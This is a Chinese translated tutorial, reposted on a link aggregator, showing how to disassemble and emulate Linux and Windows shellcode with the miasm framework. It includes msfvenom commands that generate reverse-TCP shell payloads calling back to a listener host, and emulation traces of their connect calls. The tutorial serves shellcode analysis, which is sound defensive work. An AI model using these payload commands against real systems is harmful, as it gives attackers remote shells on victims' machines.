使用Miasm分析Shellcode
source link: https://www.freebuf.com/articles/terminal/232540.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Shellcode是一个有趣的东西,我一直想使用 miasm 来学习很久了(因为几年前我在SSTIC上看到了第一次演讲),现在,我终于可以在这个新冠的夜晚里学习了。
Linux Shellcode
让我们从Linux shellcode开始,因为它们不如Windows shellcode复杂。
msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1
让我们用miasm反汇编shellcode:
from miasm.analysis.binary import Container from miasm.analysis.machine import Machine with open("sc_linux1", "rb") as f: buf = f.read() container = Container.from_string(buf) machine = Machine('x86_32') mdis = machine.dis_engine(container.bin_stream) mdis.follow_call = True # Follow calls mdis.dontdis_retcall = True # Don't disassemble after calls disasm = mdis.dis_multiblock(offset=0) print(disasm)
我们得到以下代码:
loc_key_0 PUSH 0xB POP EAX CDQ PUSH EDX PUSHW 0x632D MOV EDI, ESP PUSH 0x68732F PUSH 0x6E69622F MOV EBX, ESP PUSH EDX CALL loc_key_1 ->c_to:loc_key_1 loc_key_1 PUSH EDI PUSH EBX MOV ECX, ESP INT 0x80 [SNIP]
这里没有什么奇怪的,INT 0×80正在调用系统,并且系统调用代码在第一行移至EAX,0xB是的代码execve。我们可以CALL loc_key_1通过在指令地址+大小和的地址之间取数据来轻松获得数据后的地址loc_key1:
> inst = list(disasm.blocks)[0].lines[10] # Instruction 10 of block 0 > print(buf[inst.offset+inst.l:disasm.loc_db.offsets[1]]) b'/bin/ls\x00'
接下来我们再来一个更复杂的shellcode:
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234 -f raw > sc_linux2
该代码中有条件跳转,我们换成图形化来阅读:
from miasm.analysis.binary import Container from miasm.analysis.machine import Machine with open("sc_linux2", "rb") as f: buf = f.read() container = Container.from_string(buf) machine = Machine('x86_32') mdis = machine.dis_engine(container.bin_stream) mdis.follow_call = True # Follow calls mdis.dontdis_retcall = True # Don't disassemble after calls disasm = mdis.dis_multiblock(offset=0) open('bin_cfg.dot', 'w').write(disasm.dot())
要想从静态就理解有点困难,因此让我们看看是否可以使用miasm来模拟它。
模拟指令非常容易:
from miasm.analysis.machine import Machine from miasm.jitter.csts import PAGE_READ, PAGE_WRITE myjit = Machine("x86_32").jitter("python") myjit.init_stack() data = open('sc_linux2', 'rb').read() run_addr = 0x40000000 myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data) myjit.set_trace_log() myjit.run(run_addr)
Miasm模拟所有指令,直到我们到达第一个int 0×80调用为止:
40000000 PUSH 0xA EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 0 40000002 POP ESI EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0 [SNIP] 40000010 INT 0x80 EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0 Traceback (most recent call last): File "linux1.py", line 11, in <module> myjit.run(run_addr) File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 423, in run return self.continue_run() File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 405, in continue_run return next(self.run_iterator) File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 373, in runiter_once assert(self.get_exception() == 0) AssertionError
默认情况下,miasm计算机不执行系统调用,但是可以为该异常添加异常处理程序EXCEPT_INT_XX(EXCEPT_SYSCALL对于Linux x86_64)并自己实现。让我们先打印系统调用号码:
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XX from miasm.analysis.machine import Machine def exception_int(jitter): print("Syscall: {}".format(jitter.cpu.EAX)) return True myjit = Machine("x86_32").jitter("python") myjit.init_stack() data = open('sc_linux2', 'rb').read() run_addr = 0x40000000 myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data) myjit.add_exception_handler(EXCEPT_INT_XX, exception_int) myjit.run(run_addr)
这给了我们系统调用:
Syscall: 102 Syscall: 102
在意识到miasm已经 集成了多个syscall实现 和使它们由虚拟机执行的方法之前,我开始 重新实现 shellcode经常使用的 一些syscall 。我已经提交了一些额外的系统调用的PR,然后我们可以模拟shellcode:
myjit = Machine("x86_32").jitter("python") myjit.init_stack() data = open("sc_linux2", 'rb').read() run_addr = 0x40000000 myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data) log = logging.getLogger('syscalls') log.setLevel(logging.DEBUG) env = environment.LinuxEnvironment_x86_32() syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32) myjit.run(run_addr)
我们得到以下syscall跟踪:
[DEBUG ]: socket(AF_INET, SOCK_STREAM, 0) [DEBUG ]: -> 3 [DEBUG ]: connect(fd, [AF_INET, 1234, 10.2.2.14], 102) [DEBUG ]: -> 0 [DEBUG ]: sys_mprotect(123f000, 1000, 7) [DEBUG ]: -> 0 [DEBUG ]: sys_read(3, 123ffe4, 24)
因此,使用miasm分析linux shellcode非常容易,您可以使用 此脚本 。
windows
由于无法在Windows上对系统调用指令,因此Windows Shellcode需要使用共享库中的函数,这需要使用LoadLibrary和GetProcAddress加载它们,后者首先需要在kernel32.dll DLL文件中找到这两个函数地址。记忆。
让我们用metasploit生成第一个shellcode:
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f raw > sc_windows1
我们可以使用上面用于Linux的完全相同的代码来生成调用图:
在这里,我们看到了大多数shellcode用来获取其自身地址的技巧之一,CALL就是将下一条指令的地址压入堆栈,然后将其存储在EBP中POP。因此CALL EBP,最后一条指令的,就是在第一次调用之后立即调用该指令。而且由于此处仅使用静态分析,所以miasm无法知道EBP中的地址。
我们仍然可以在第一次调用后手动反汇编代码:
inst = inst = list(disasm.blocks)[0].lines[1] # We get the second line of the first block next_addr = inst.offset + inst.l # offset + size of the instruction disasm = mdis.dis_multiblock(offset=next_addr) open('bin_cfg.dot', 'w').write(disasm.dot())
在这里,我们看到的shellcode首先通过以下寻找KERNEL32的地址PEB,PEB_LDR_DATA并LDR_DATA_TABLE_ENTRY在内存中的结构。让我们模拟一下:
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE from miasm.analysis.machine import Machine def code_sentinelle(jitter): jitter.run = False jitter.pc = 0 return True myjit = Machine("x86_32").jitter("python") myjit.init_stack() data = open("sc_windows1", 'rb').read() run_addr = 0x40000000 myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data) myjit.set_trace_log() myjit.push_uint32_t(0x1337beef) myjit.add_breakpoint(0x1337beef, code_sentinelle) myjit.run(run_addr) 40000000 CLD EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 0 40000001 CALL loc_40000088 EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 0 40000088 POP EBP EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 0 40000089 PUSH 0x3233 EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0 [SNIP] 4000000B MOV EDX, DWORD PTR FS:[EAX + 0x30] WARNING: address 0x30 is not mapped in virtual memory: Traceback (most recent call last): [SNIP] RuntimeError: Cannot find address
一直进行到到达为止MOV EDX, DWORD PTR FS:[EAX + 0x30],此指令从内存中的FS段获取TEB结构地址。但是在这种情况下,miasm仅模拟代码,而未在内存中加载任何系统段。为此,我们需要使用miasm的完整Windows Sandbox,但是这些VM仅运行PE文件,因此,我们首先使用简短的脚本使用 lief 将shellcode转换为完整的PE文件:
from lief import PE with open("sc_windows1", "rb") as f: data = f.read() binary32 = PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32) section_text = PE.Section(".text") section_text.content = [c for c in data] # Take a list(int) section_text.virtual_address = 0x1000 section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT) binary32.optional_header.addressof_entrypoint = section_text.virtual_address builder = PE.Builder(binary32) builder.build_imports(True) builder.build() builder.write("sc_windows1.exe")
现在,让我们使用一个miasm沙箱来运行此PE,该沙箱可以选择use-windows-structs将Windows结构加载到内存中(请参见 此处 的代码):
from miasm.analysis.sandbox import Sandbox_Win_x86_32 class Options(): def __init__(self): self.use_windows_structs = True self.jitter = "gcc" #self.singlestep = True self.usesegm = True self.load_hdr = True self.loadbasedll = True def __getattr__(self, name): return None options = Options() # Create sandbox sb = Sandbox_Win_x86_32("sc_windows1.exe", options, globals()) sb.run() assert(sb.jitter.run is False)
该选项loadbasedll是基于名为的文件夹中的现有dll将DLL结构加载到内存中win_dll(您需要Windows x86_32 DLL)。执行后,出现以下崩溃:
[SNIP] [INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b [WARNING ]: warning adding .dll to modulename [WARNING ]: ws2_32.dll Traceback (most recent call last): File "windows4.py", line 18, in <module> sb.run() [SNIP] File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib raise ValueError('unknown api', hex(jitter.pc), repr(fname)) ValueError: ('unknown api', '0x71ab6a55', "'ws2_32_WSAStartup'")
如果我们查看文件jitload.py,它实际上调用了在 win_api_x86_32.py中 实现的DLL函数,并且我们看到kernel32_LoadLibrary确实实现了该函数,但没有实现WSAStartup,因此我们需要自己实现它。
Miasm实际上使用了一个非常聪明的技巧来简化新库的实现,沙盒接受附加功能的参数,默认情况下使用调用globals()。这意味着我们只需要在代码中定义一个具有正确名称的函数,它就可以直接作为系统函数使用。让我们尝试ws2_32_WSAStartup:
def ws2_32_WSAStartup(jitter): print("WSAStartup(wVersionRequired, lpWSAData)") ret_ad, args = jitter.func_args_stdcall(["wVersionRequired", "lpWSAData"]) jitter.func_ret_stdcall(ret_ad, 0)
现在我们得到:
INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b [WARNING ]: warning adding .dll to modulename [WARNING ]: ws2_32.dll WSAStartup(wVersionRequired, lpWSAData) Traceback (most recent call last): [SNIP] File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib raise ValueError('unknown api', hex(jitter.pc), repr(fname)) ValueError: ('unknown api', '0x71ab8b6a', "'ws2_32_WSASocketA'")
我们可以继续这种方式,并逐一实现shellcode调用的几个函数:
def ws2_32_WSASocketA(jitter): """ SOCKET WSAAPI WSASocketA( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags ); """ ADDRESS_FAM = {2: "AF_INET", 23: "AF_INET6"} TYPES = {1: "SOCK_STREAM", 2: "SOCK_DGRAM"} PROTOCOLS = {0: "Whatever", 6: "TCP", 17: "UDP"} ret_ad, args = jitter.func_args_stdcall(["af", "type", "protocol", "lpProtocolInfo", "g", "dwFlags"]) print("WSASocketA({}, {}, {}, ...)".format( ADDRESS_FAM[args.af], TYPES[args.type], PROTOCOLS[args.protocol] )) jitter.func_ret_stdcall(ret_ad, 14) def ws2_32_connect(jitter): ret_ad, args = jitter.func_args_stdcall(["s", "name", "namelen"]) sockaddr = jitter.vm.get_mem(args.name, args.namelen) family = struct.unpack("H", sockaddr[0:2])[0] if family == 2: port = struct.unpack(">H", sockaddr[2:4])[0] ip = ".".join([str(i) for i in struct.unpack("BBBB", sockaddr[4:8])]) print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen)) else: print("connect()") jitter.func_ret_stdcall(ret_ad, 0) def kernel32_CreateProcessA(jitter): ret_ad, args = jitter.func_args_stdcall(["lpApplicationName", "lpCommandLine", "lpProcessAttributes", "lpThreadAttributes", "bInheritHandles", "dwCreationFlags", "lpEnvironment", "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"]) jitter.func_ret_stdcall(ret_ad, 0) def kernel32_ExitProcess(jitter): ret_ad, args = jitter.func_args_stdcall(["uExitCode"]) jitter.func_ret_stdcall(ret_ad, 0) jitter.run = False
最后,我们对shellcode进行了完整的模拟:
[INFO ]: Add module 400000 'sc_windows1.exe' [INFO ]: Add module 7c900000 'ntdll.dll' [INFO ]: Add module 7c800000 'kernel32.dll' [INFO ]: Add module 7e410000 'use***.dll' [INFO ]: Add module 774e0000 'ole32.dll' [INFO ]: Add module 7e1e0000 'urlmon.dll' [INFO ]: Add module 71ab0000 'ws2_32.dll' [INFO ]: Add module 77dd0000 'advapi32.dll' [INFO ]: Add module 76bf0000 'psapi.dll' [INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b [WARNING ]: warning adding .dll to modulename [WARNING ]: ws2_32.dll WSAStartup(wVersionRequired, lpWSAData) [INFO ]: ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab [INFO ]: ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010ba WSASocketA(AF_INET, SOCK_STREAM, Whatever, ...) [INFO ]: ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4 socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16) [INFO ]: kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117 [INFO ]: kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125 [INFO ]: kernel32_GetVersion() ret addr: 0x401131 [INFO ]: kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144
总结
学习miasm很有趣,我发现它非常强大,miasm编写得很好并且具有很多功能。唯一的缺点是目前缺少文档。如果您想开始使用miasm,则应查看 示例 和 博客文章 ,它们是很好的起点。Willi Ballenthin最近还写了一些我觉得很有趣的 博客 文章 。并且,一旦您知道其中的点点滴滴,就可以 加入我 。
待在家里,保重!
*参考来源: randhome ,FB小编周大涛编译,转载请注明来自FreeBuf.COM
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK